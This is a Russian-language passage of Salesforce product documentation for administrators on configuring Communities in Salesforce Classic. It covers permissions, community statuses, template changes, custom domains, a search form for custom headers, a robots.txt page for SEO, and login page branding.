Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания наборов
полномочий:
• «Управление

профилями и наборами
полномочий»

Для назначения набора
полномочийпользователю:
• «Назначение наборов

полномочий»

Привключениисообществобщийверхнийколонтитулпозволяетбыстропереключаться
между сообществами и внутренней организацией.

Использование общего верхнего колонтитула доступно организации только после
включения сообществ.

Полномочие «Просмотр общего верхнего колонтитула» по умолчанию отключено для всех стандартных профилей.
Чтобыпросмотреть общийверхний колонтитул, необходимоназначитьпользователюполномочие «Просмотробщего
верхнегоколонтитула». Дляэтогоследуетлибовыбратьеговстандартномпрофиле, либосоздатьнастраиваемыепрофили,
либосоздатьнаборполномочий. Чтобыбыстроназначитьданноеполномочиенужнымпользователям, создайтенаборы
полномочий.

1. Введите строку «Наборы полномочий» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Наборы
полномочий».

2. Нажмите кнопку «Создать» и создайте набор полномочий, содержащий полномочие системы «Просмотр общего
верхнего колонтитула».

3. Назначьте набор полномочий соответствующим пользователям.

Общий верхний колонтитул отображается пользователям с данным набором полномочий вверху всех страниц. С
помощьюменюслева пользователи смогут переключатьсямежду внутреннейорганизациейи сообществами, к которым
у них есть доступ.
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Меню «Имя пользователя», расположенное справа, содержит ссылки для редактирования контактных данных и выхода.
Кроме того, внутреннимпользователяммогут отображаться ссылки «Справка и обучение» и «Настройка», а также ссылки
на другие инструменты. Отображаемые ссылки определяются предоставленными полномочиями пользователя и
включеннымифункциями. При использовании Lightning Experience организацией пользователи с соответствующим
полномочиеммогут переключаться между Salesforce Classic и новым интерфейсом с помощьюфункции Switcher. Ссылку
«Перейти к Lightning Experience» см. в меню «Имя пользователя». Сообщества не поддерживаются в Lightning
Experience, поэтому для работы с ними (создания, управления и доступа) из общего верхнего колонтитула необходимо
переключиться обратно в Salesforce Classic.

При нахождении на странице сообщества у пользователей с полномочием «Управление сообществом» или «Создание
и настройка сообществ» отобразится значок шестеренки ( ), и с его помощью пользователь сможет переходить к
странице «Управление сообществом». На странице «Управление сообществом» отобразится дополнительное меню, с
помощью которого можно будет просматривать сообщество или переходить к настройкам сообщества посредством
конструктора сообществ, Site.com Studio или Force.com.

Прим.: Настранице «Управлениесообществом» упользователейдажебезполномочия «Просмотробщеговерхнего
колонтитула» отобразитсяобщийверхнийколонтитулименю «Управлениесообществом». Однакомырекомендуем
назначать полномочие «Просмотр общего верхнего колонтитула» пользователям, которым необходимо
переключаться между внутренней организацией и сообществами.

СМ. ТАКЖЕ:

Навигация по сообществам

Публикация ссылки на сообщество

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для публикации URL-адреса
предварительного
просмотра сообщества:
• “«Создание и настройка

сообществ»

При необходимости разрешите участникам предварительный просмотр сообщества
перед активацией.

Ссылка на сообщество со статусом «Предварительный просмотр» может передаваться
только пользователям, добавленным в качестве участников сообщества.

Публикацияссылкинасообществосостатусом «Предварительный просмотр» позволяет
быстро собрать отзывы о сообществе. Благодаря аналогичному режиму работы
сообщества, заинтересованные лица могут протестировать все функции, а также
проверитьиспользуемыйфирменныйстильи текущиенастройки. Данная возможность
позволяет также заранее наполнять сообщество сообщениями, комментариями и
записями, доступными участникам активного сообщества уже при первом входе.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.
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2. Последовательно выберите пункты «Администрирование» > «Параметры».

3. Скопируйте URL-адрес, отображаемый на странице, и разошлите его заинтересованным лицам.

Помните, что URL-адрес может передаваться только пользователям, добавленным в качестве участников сообщества.

СМ. ТАКЖЕ:

Настройка сообществ

Статусы сообществ

Активация сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Активация сообщества инициирует его доступность участникам. При необходимости
настройтеактивноесообществоилидеактивируйтесообществодлявнесенияизменений.
Помните, что активация сообщества предоставляет участникам сообщества доступ ко
всем его компонентам. Рекомендуем выполнять все основные настройки в статусе
«Предварительный просмотр».

Прим.: Если организация поддерживает приветственные сообщения эл. почты,
то активация сообщества инициирует отправку каждому участнику сообщения эл.
почты, содержащегоссылкуна сообщество. Приветственноесообщениеэл. почты,
отправляемое внешним участникам, содержит ссылку для настройки пароля и
контрольного вопроса.

Есливнешнемупользователюпредоставляется доступ кнесколькимсообществам
внутри одной организации, то вход во все сообщества может выполняться
посредством одних регистрационных данных.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Параметры».

3. Нажмите кнопку «Активировать сообщество».
Сообщество становится активным.

СМ. ТАКЖЕ:

Статусы сообществ

Настройка сообществ

Деактивация сообщества
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Статусы сообществ

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Ниже перечислены статусы, поддерживаемые сообществами.

ОписаниеСтатус

Сообщество, которое ещененастроеноине активировалосьранее.Статус
«Предварительный просмотр» неможетбытьназначенактивированному
сообществу.

Полномочие «Создание и настройка сообществ» предоставляет
пользователям, которым назначается профиль или набор полномочий,
связанный с сообществом, доступ к сообществам со статусом
«Предварительный просмотр». Крометого, данноеполномочиепозволяет
передавать пользователям, которым назначаются профили или наборы

Предварительный
просмотр

полномочий, связанные с сообществом, ссылку на данные сообщества.
Ссылка на сообщество со статусом «Предварительный просмотр»
отображается на странице «Управление сообществом».

Приветственныесообщенияэл. почтынеотправляютсядажеприналичии
флажка «Отправить приветственное сообщение эл. почты».

Прим.: Временнаяблокировкадоступаорганизациик сообществам
за неуплату инициирует деактивацию всех сообществ, включая
сообщества со статусом «Предварительный просмотр». Повторное
включениесообществинициируетназначениестатуса «Неактивно»
всем сообществам. Данные сообщества могут быть активированы,
но не могут быть восстановлены со статусом «Предварительный
просмотр».

Деактивированное сообщество, котороеранеебылодоступносо статусом
«Активно».

Ниже перечислены действия, требующие деактивации сообщества.

Неактивно

• Добавление или удаление участников

• Добавление, удаление или изменение порядка отображения вкладок

• Изменение цветовой схемы

• Изменение URL-адреса сообщества

Деактивированноесообществонеотображается враскрывающемсяменю.
Полномочие «Создание и настройка сообществ» позволяет любым
пользователям настраивать сообщества со статусом «Неактивно».
Использование прямой ссылки для доступа участников к сообществам со
статусом «Неактивно» инициирует отображение страницы ошибки.
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ОписаниеСтатус

Активное сообщество, доступное участникам.

Приветственные сообщения эл. почты отправляются новым участникам при наличиифлажка
«Отправить приветственное сообщение эл. почты».

Активно

СМ. ТАКЖЕ:

Настройка сообществ

Активация сообществ

Деактивация сообщества

Публикация ссылки на сообщество

Обновление параметров сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Управление именем сообщества, описанием, URL-адресом, статусом сообщества и
шаблоном сообщества осуществляется с одной страницы.

При необходимости измените имя и URL-адрес активированного сообщества; новый
URL-адресбудетнедоступендляпереадресации. Рекомендуемвноситьданныеизменения
только после уведомления участников сообщества.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Параметры».

3. Внесение необходимых изменений в параметры сообщества.

• Редактирование имени, описания и URL-адреса сообщества посредством значка

напротив имени сообщества.

• Управление статусом сообщества.

• Изменение шаблона сообщества.

СМ. ТАКЖЕ:

Изменение шаблона сообщества

Статусы сообществ
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Деактивация сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Ниже перечислены действия, требующие деактивации сообщества.

• Добавление или удаление участников

• Добавление, удаление или изменение порядка отображения вкладок

• Изменение цветовой схемы

• Изменение URL-адреса сообщества

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Параметры».

3. Щелкните «Деактивировать».

Сообщество становится неактивным.

Неактивное сообщество отображается в меню, но доступно только при наличии
полномочия «Создание и настройка сообществ».

СМ. ТАКЖЕ:

Статусы сообществ

Активация сообществ

Настройка сообществ
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Изменение шаблона сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Система позволяет изменять шаблон сообщества при последующем изменении
требований сообщества.

Совет: Изменениешаблонанеинициируетпотерюданных. Преждечемвыполнить
указанные ниже действия, просмотрите раздел «Рекомендации по изменению
шаблона сообщества».

Изменениешаблона «ВкладкиSalesforce + Visualforce» нашаблонконструкторасообществ
или шаблона конструктора сообществ на другой шаблон конструктора сообществ для
активного сообщества инициирует сохранение черновой версии, которая может быть
дополнительно настроена в конструкторе сообществ. Прежде чем обновить активное
сообщество, рекомендуем опубликовать изменения в конструкторе сообществ.

Изменениешаблонаконструкторасообществнашаблон «ВкладкиSalesforce + Visualforce»
для активногосообществаинициируетнемедленноеобновлениеактивногосообщества.
В данном случае рекомендуем сначала деактивировать сообщество. Сообщество может
быть повторно активировано после внесения всех изменений.

Отображениезначения «Нет» указываетнаиспользованиешаблона, которыйнеявляется
предопределеннымшаблоном конструктора сообществ, или на изменение шаблона
конструктора сообществ.

При использованиишаблона на основе конструктора сообществ и настройке
собственного шаблона страницаПараметры отображает имя шаблона, доступного в
конструкторесообществвчерновомрежиме. Отображаемоепредупреждениенапоминает
о необходимости публикации изменений в конструкторе сообществ.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Все
сообщества». Затем щелкните ссылку «Управление» напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Параметры».

3. Щелкните «Изменитьшаблон».

4. Выберите шаблон, который соответствует требованиям сообщества.

Дополнительную информацию об использованиишаблонов Kokua, Koa и Napili см. в Руководстве по внедрению шаблонов
сообщества для самообслуживания.

Подробные сведения ошаблоне Aloha см. в разделеНачало работы сшаблоном сообщества Aloha для удостоверения Salesforce.

5. Чтобы подтвердить внесенные изменения, щелкните «Изменитьшаблон» при отображении соответствующего
запроса.

После изменения шаблона открывается страница «Управление сообществом».

Убедитесь, что страницы сообщества (например, страница входа или начальная страница сообщества) являются
оптимальным выбором для обновленного шаблона сообщества. Например, при замене шаблона «Вкладки
Salesforce + Visualforce» шаблономнаоснове конструктора сообществрекомендуемобновить страницыдляиспользования
конструкторасообществвместостраницVisualforce. Принеобходимостинастройтесообществовконструкторесообществ
и опубликуйте все внесенные изменения.
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Рекомендации по изменению шаблона сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Изменение шаблона сообщества влияет на навигацию по сообществу, фирменный
стиль и настройки.

• Для отображения некоторых новых компонентов сообщества, предоставляемых
Salesforce, может потребоваться изменение шаблона сообщества. Чтобы сохранить
текущийшаблон, переключитесь на другой шаблон, затем обратно на текущий
шаблон. Предположим, длясообществаиспользуетсяшаблон Napili. Система Salesforce
предоставляет компонент, для которого требуется изменить шаблон (не просто
обновить). Следует переключитьшаблон сообщества на другойшаблон, например
Koa или Kokua, затем вернуться обратно к Napili.

• Данные объекта Salesforce переносятся, однако фирменный стиль и настройки
компонентов пропадают. Необходимо будет заново выполнить все настройки.

• Переключение между шаблонами инициирует обновление навигации на странице «Управление сообществом».
Чтобы просмотреть все доступные параметры на странице «Управление сообществом», независимо от выбранного
шаблона, последовательновыберитепункты «Администрирование» > «Настройки» > «Показатьвсепараметры
на странице управления сообществом».

• Переключениешаблона «ВкладкиSalesforce + Visualforce» нашаблонконструкторасообществилинаоборотинициирует
изменение URL-адреса сообщества. Например, при использованиишаблонов на основе конструктора сообществ
URL-адрес дополняется компонентом /s. Рекомендуем обновить все ссылки на сообщество посредством нового
URL-адреса.

Дополнительную информацию об использованиишаблонов Kokua, Koa и Napili см. в Руководстве по внедрению шаблонов
сообщества для самообслуживания.

Подробные сведения о шаблоне Aloha см. в разделеНачало работы с шаблоном сообщества Aloha для удостоверения Salesforce.

Администрирование пользователей сообществ

Восстановление пароля внешнего пользователя в сообществах
Парольвнешнегопользователяможетбытьвосстановленпользователемилиадминистратороморганизации, используемой
для размещения сообщества.

Независимо от инициатора восстановления пароля, внешнему пользователю всегда отправляется соответствующее
электронное уведомление со ссылкой на сброс пароля. Ссылки на сброс пароля, инициированные пользователями,
действуют в течение 24 часов. Срок действия ссылокна сброспароля, инициированных администратором, неограничен.
Данная ссылка позволяет продолжить работу только после восстановления пароля пользователя.

Если запрос на сброс пароля, инициированный пользователем, не обрабатывается, пользователь получит электронное
сообщение с объяснением причины. Запрос на сброс пароля не удается выполнить, если учетная запись пользователя
заблокирована временно или без возможности восстановления из-за нескольких неудачных попыток входа в систему
либо если запрос отправлен вне одобренного времени на вход в систему, диапазона IP-адресов или сетевых областей.

СМ. ТАКЖЕ:

Создание пользователей сообществ

Как внешние участники сообщества получают регистрационные данные?
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Как внешние участники сообщества получают регистрационные данные?

ВЕРСИИ

Доступно в версиях:
Salesforce Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Внешниепользователиполучаютрегистрационныеданныепосредствомприветственных
сообщений эл. почты, отправляемых сообществом.

Контакты, включенныекакпользователи-клиентыилипользователи-партнеры, получают
регистрационные данные только после добавления в сообщество, поддерживающее
приветственные сообщения эл. почты. Если сообщество не поддерживает
приветственные сообщения эл. почты, то регистрационные данные должны быть
отправлены внешним пользователям вручную. Для этого в меню «Настройка» введите
«Пользователи» вполе «Быстрый поиск», выберите«Пользователи», установитефлажок
рядомсименемпользователя, затемвыберите «Сброситьпароль». Пользователюбудет
отправлено сообщение эл. почты, содержащее имя пользователя и ссылку для сброса
пароля. Ссылка в этом сообщении электронной почты не имеет срока годности.

СМ. ТАКЖЕ:

Создание пользователей сообществ

Восстановление пароля внешнего пользователя в сообществах
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Дополнительные обновления сообщества

Настройка настраиваемого домена для сообщества

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра доменов:
• «Просмотр настройки и

конфигурации»

Для добавления доменов:
• «Настройка

приложения» или
«Просмотр настройки и
конфигурации» с
лицензией Site.com
Publisher или
полномочием «Создание
и настройка сообществ»

Для редактирования или
удаления доменов:
• «Настройка

приложения»

Для связывания
сертификатов с доменом:
• Если сообщества не

используются,
обратитесь в компанию
Salesforce.
Организации,
использующие
сообщества, могут
связывать сертификаты
с доменом.

Настройте настраиваемый домен для отражения фирменного стиля компании в
URL-адресах сообщества.

Прим.: Настраиваемые домены поддерживаются только экземплярами
небезопасныхсред. Принеобходимостинастройтедоменв экземпляребезопасной
средыиперенеситеегов экземплярпроизводственнойсреды. Обратитевнимание,
что настраиваемый домен активен только в производственной среде.

Добавляемый домен может быть связан с сертификатом и ключом, обеспечивающими
безопасность подключения. Прежде чем связать сертификат с доменом, убедитесь в его
наличии на странице «Управление сертификатами и ключами». Сертификат должен
быть подписанцентром сертификации, а его длина должна составлять 2 048 бит. Чтобы
поддерживать все домены, обслуживающие сайты организации, воспользуйтесь
специальным символом или сертификатом «Альтернативное имя темы».

1. Введите строку «Домены» вполе «Быстрый поиск» вменю «Настройка» ивыберите
пункт «Домены».

2. Нажмите кнопку «Добавить домен».

3. Введите имя домена.

4. При наличии сертификата, подписываемого центром сертификации, который
поддерживает данный домен, добавьте соответствующий сертификат.

5. Нажмитекнопку «Сохранить». Чтобыдобавитьнесколькодоменов, нажмитекнопку
«Сохранить и создать».

Чтобыиспользоватьдомендляразмещениянесколькихсообществ, рекомендуемзадать
настраиваемые URL-адреса для каждого сайта. Настраиваемые URL-адреса позволяют
различать сообщества внутри домена. Введите строку «Настраиваемые URL-адреса» в
поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Настраиваемые
URL-адреса».

Прежде чем разрешить записи CNAME имени домена указывать на новое имя цели,
убедитесь, чтоданноеимяподдерживается сервером DNS путемиспользования dig или
nslookup. Время создания имен доменов влияет на цель записи CNAME.

• Имена доменов, добавленные перед выпуском Summer'13, обычно используют запись CNAME, указывающую на
полностью определенное имя домена, дополненное компонентом .live.siteforce.com взамен субдомена
force.com организации. Например, придобавлениидомена www.primer.ru передвыпуском Summer'13 протокол
HTTPS может использоваться только при наличии целевой записи CNAME, указывающей на
www.primer.ru.live.siteforce.com взамен primer.force.com.

• Имена доменов, добавленные во время или перед выпуском Summer'13, не используют 18-значный код организации
в целевой записи CNAME.

• Имена доменов, добавленные во время или после выпуска Summer'13, уже указывают на соответствующую область
для настройки протокола HTTPS в настраиваемом домене.

• Имена доменов, добавленные во время или после выпуска Winter'14, используют запись CNAME, указывающую на
полностью определенное имя домена, дополненное 18-значным кодом организации и компонентом
.live.siteforce.com. Например, при добавлении домена www.primer.ru, имя которого дополняется
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18-значным кодом организации (00dxx0000001ggxeay), целевая запись CNAME выглядит следующим образом:
www.primer.ru.00dxx0000001ggxeay.live.siteforce.com.

СМ. ТАКЖЕ:

Общие сведения об управлении доменами

Управление доменами и настраиваемыми URL-адресами

Добавление домена

Добавление поля глобального поиска в настраиваемый верхний колонтитул HTML сообщества

ВЕРСИИ

Доступно в: Salesforce
Classic.

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

При наличии верхнего колонтитула HTML сообщества Salesforce не отображают поле
глобального поиска. Чтобы воспользоваться данной функцией поиска, дополните
настраиваемый верхний колонтитул специальнойформой.

1. Дополнитенастраиваемыйверхнийколонтитул HTML формой, аналогичнойформе
ниже.

<form action="/<community name>/search/SmartSearch" method="get">
<input id="phSearchInput" type="text" name="str"/>
<input type="submit" value="Search"/>

</form>

2. Замените компонент <community name> уникальным значением, которое использовалось для URL-адреса при
создании сообщества.

Например, при назначении URL-адресу сообщества уникального значения customers форма будет выглядеть
следующим образом:

<form action="/customers/search/SmartSearch" method="get">
<input id="phSearchInput" type="text" name="str"/>
<input type="submit" value="Search"/>

</form>
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Настройка оптимизации поисковых систем для сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания страницы
Visualforce, файла robots.txt
и файла sitemap.xml для
сообщества:
• “«Создание и настройка

сообществ»

Разрешите популярным поисковым системам (например, Google™ и Bing®) индексацию
сообщества, благодаря которой клиенты, партнерыипользователи-гости могут быстро
находить нужные страницы сообщества посредством интерактивных поисков.
Оптимизация поисковых систем может значительно повысить шансы обнаружения
общедоступных сообществ.

Принастройкеоптимизациипоисковыхсистемдля сообществаиспользуетсянесколько
стандартных файлов.

robots.txt

Файл robots.txt  (стандартныйфайл, используемыйдляоптимизациипоисковых
систем) использует правила включения и исключения для информирования
поисковыхроботовобобластяхсообщества, подлежащихиндексации. Данныйфайл
позволяет полностью контролировать содержимое, которое могут находить
пользователипосредствомпоисковыхсистем. Принеобходимостинастройтеправила,
позволяющие индексировать все сообщество, или выберите конкретные области.
После настройки правил поисковые системы используют файл для индексации
страниц сообщества.

При использовании сообществ Salesforce рекомендуем создать страницу Visualforce
дляразмещенияданнойинформации. Данныйфайлразмещаетсянакорневомуровне
сообщества. Ниже приведен пример страницы Visualforce, использующей правила
индексации для сообщества.

<apex:page contentType="text/plain">
User-agent: *
Disallow: / # hides everything from ALL bots
Allow: /<path-prefix-1>/s # add path you want to open to bots
Allow: /<path-prefix-2>/s # add path you want to open to bots
Sitemap: http://community_URL>/<sitemap_to_community1>
Sitemap: http://<community_URL>/<sitemap_to_community2>
</apex:page>

sitemap.xml
Файл sitemap.xml содержитсписок URL-адресов сообщества. Поисковыесистемыиспользуютданныйсписокдля
поиска страниц сообщества, доступных для просмотра и индексации. Файл robots.txt содержит путь к карте сайта
сообщества. Файл sitemap.xml должен также размещаться на корневом уровне сообщества. Дополнительную
информацию о создании файла sitemap.xml для сообщества см. в данной статье.

Прим.: Разрешается использовать несколько сообществ, каждому из которых доступныразные подпути. Помните,
что все они используют один файл. Убедитесь, что правила индексации принимают во внимание страницы всех
сообществ. Страница Visualforce, содержащая сведения офайле robots.txt, должна располагаться внутри сообщества
без имени подпути, то есть на корневом уровне.

1. Создайте списокправил включенияиисключениядляразныхобластей сообщества, которыедолжныбыть доступны
или скрыты от поисковых систем. Сохраните данную информацию в текстовом файле.

2. Введите строку «Страницы Visualforce» в поле «Быстрый поиск» в меню «Настройка», выберите пункт
«Страницы Visualforce» ищелкните «Создать», чтобы создать новую страницу Visualforce. Введите любое имя
(например, «robots»).

3. Вставьте список правил индексации на страницу Visualforce. Финальное содержимое должно напоминать пример
выше и по мере необходимости может использовать большее количество правил.
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4. Нажмите кнопку «Сохранить».

5. Откройте страницу «Управление сообществом» для используемого сообщества, последовательно выберите пункты
«Администрирование» > «Страницы» > «Перейтик Force.com»инажмитекнопку«Правка»настранице «Сведения
о сайте».

6.
Введитеимя созданнойстраницыVisualforce вполе «Robots.txt сайта»илищелкните значок дляпоисканужного
файла.

7. Нажмите кнопку «Сохранить».

8. При необходимости отправьте файл sitemap.xml прямо в поисковые системы. Например, отправьте файл в
поисковые системыИнструменты веб-мастера Google™ и Инструменты веб-мастера Bing® для предоставления
пользователям возможности обнаружения содержимого в сообществе.

Чтобыподтвердить доступностьфайла robots.txt для поисковых роботов, откройте нужное сообщество и добавьте
компонент /robots.txt в URL-адрес целевой страницы. Данный компонент позволяет просматривать содержимое,
вставленное на страницу Visualforce, созданную ранее. Аналогично, добавьте компонент /sitemap.xml в URL-адрес
сообщества для тестирования карты сайта на доступность поисковым роботам.

Управление входом, самостоятельной регистрацией и паролями в
сообществе

Настройка страниц входа, выхода и самостоятельной регистрации в сообществе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Настройтестандартныестраницывхода, выхода, управленияпаролямиисамостоятельной
регистрации для сообщества или настройте их алгоритмы посредством страниц Apex и
Visualforce или конструктора сообществ (Site.com Studio).

По умолчанию каждое сообщество поддерживает стандартные страницы входа,
управления паролями и самостоятельной регистрации, а также связанные контроллеры
Apex, реализующиеданныефункциональныевозможности. Чтобысоздатьнастраиваемый
фирменный стиль и изменить стандартный алгоритм, воспользуйтесь Visualforce, Apex
или конструктором сообществ (Site.com Studio).

• Настройка фирменного стиля стандартной страницы входа.

• Настройка интерфейса входа путем изменения алгоритма стандартной страницы
входа, использования настраиваемой страницы входа и поддержки других
поставщиков проверки подлинности.

• Перенаправление пользователей на другой URL-адрес при выходе.

• Использование настраиваемых страниц изменения и восстановления пароля.

• Настройка самостоятельной регистрации для нелицензированных
пользователей-гостей сообщества.
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Оформление страницы входа сообщества в фирменном стиле

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

При выборе шаблона «Вкладки Salesforce + Visualforce» система позволяет добавлять
логотипкомпанииинастраиваемыйтекстнижнегоколонтитуланастандартнуюстраницу
входа, поддерживаемую сообществом.

Цвета фона верхнего колонтитула и страницы, используемые стандартной страницей
входа, наследуются от цветовой схемыфирменного стиля сообщества.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка»
и выберите пункт «Все сообщества». Затем щелкните ссылку «Управление»
напротив имени нужного сообщества.

2. Последовательновыберитепункты«Администрирование» > «Входирегистрация»
и внесите необходимые изменения в разделе «Верхний и нижний колонтитулы».

3. Загрузите логотип для верхнего колонтитула страницы входа сообщества.

Допустимые форматы файла: GIF, JPG или PNG. Максимальный размер файла не
должен превышать 100 Кб. Изображения, размер которых превышает 250 пикселов
по ширине или 125 пикселов по высоте, не принимаются. Загрузка логотипа
инициирует автоматическоесозданиепапкиобщедоступныхдокументовсообществ
на вкладке «Документы» и его сохранение в данной папке. Создание папки является
необратимым.

Логотип верхнего колонтитула отображается в верхнем левом углу стандартной
страницы входа. Кроме того, логотип используется для доступа к сообществу в
приложении Salesforce1. Логотип верхнего колонтитула не отображается на
настраиваемых страницах входа.

4. Введите настраиваемый текст длиноюне более 120 символов для нижнего колонтитула страницы входа cообщества.

Нижний колонтитул отображается внизу страницы входа. Данный текст нижнего колонтитула не отображается на
настраиваемых страницах входа.

5. Нажмите кнопку «Сохранить».

Логотип и настраиваемый текст нижнего колонтитула отображаются всем пользователям (внутренние пользователи,
внешние пользователи и нелицензированные пользователи-гости) на странице входа.

СМ. ТАКЖЕ:

Настройка страниц входа, выхода и самостоятельной регистрации в сообществе

Настройка процесса входа посредством Apex
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Настройка интерфейса входа сообщества

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания, настройки
или активации сообщества:
• “«Создание и настройка

сообществ»

И

Участие в сообществе,
которому соответствует
открываемая страница
«Управление
сообществом»

Настройте стандартный процесс входа для внешних пользователей сообщества. При
необходимостивоспользуйтесьнастраиваемойстраницейвходаконструкторасообществ,
Site.com Studio или Visualforce, разрешите поддержку нескольких поставщиков проверки
подлинностиинастройтефункциюединойрегистрациипосредствомлюбогошаблона.

Внешние пользователи — это пользователи с лицензиями сообщества, клиентского
или партнерского портала.

• Страницавхода, выбраннаяна странице «Управлениесообществом», переопределяет
другие назначения страницы входа в параметрах сайта Site.com или Force.com.

• Если сообщество использует шаблон «Вкладки Salesforce + Visualforce», то страница
входа, назначенная сообществу по умолчанию, называется CommunitiesLogin.
РекомендуемиспользоватьVisualforceдлянастройкивнешнеговидаданнойстраницы.

• Если сообщество использует шаблон Napili, то страница входа, назначенная
сообществу по умолчанию, называется login. Рекомендуем использовать
конструктор сообществ (Site.com Studio) для настройки ее внешнего вида.

• Чтобы обновить алгоритм входа для страниц Visualforce и конструктора сообществ,
обновите контроллер Apex по имени CommunitiesLoginController.

• Настраиваемыестраницыконструкторасообществмогутбытьназначенысообществу
только после публикации. Чтобы использовать настраиваемую страницу входа,
измените контроллер Apex по имени CommunitiesLoginController и метод
Apex по имени Site.login().

• Настроенные параметры входа действительны только для внешних пользователей.
Пользователивнутреннейорганизациидолжныиспользоватьссылку, позволяющую
сотрудникам выполнять вход посредством имени пользователя и пароля Salesforce.

1. Чтобы открыть страницу «Управление сообществом», воспользуйтесь любым
указанным ниже способом.

• Щелкните значок в общем верхнем колонтитуле сообщества.

• Введите строку «Все сообщества» в поле «Быстрый поиск» в меню «Настройка» и выберите пункт «Все
сообщества». Затем щелкните ссылку «Управление» напротив имени нужного сообщества.

2. Последовательно выберите пункты «Администрирование» > «Вход и регистрация» и внесите необходимые
изменения в разделе «Вход».

3. Принеобходимостивыберитенастраиваемуюстраницувходадлясообщества. Выберитетипстраницы («Конструктор

сообществ»или«Visualforce»), введитеимястраницывполепоискаищелкнитезначок . Чтобывыбратьстраницу,
щелкните имя нужной страницы в окне результатов поиска.

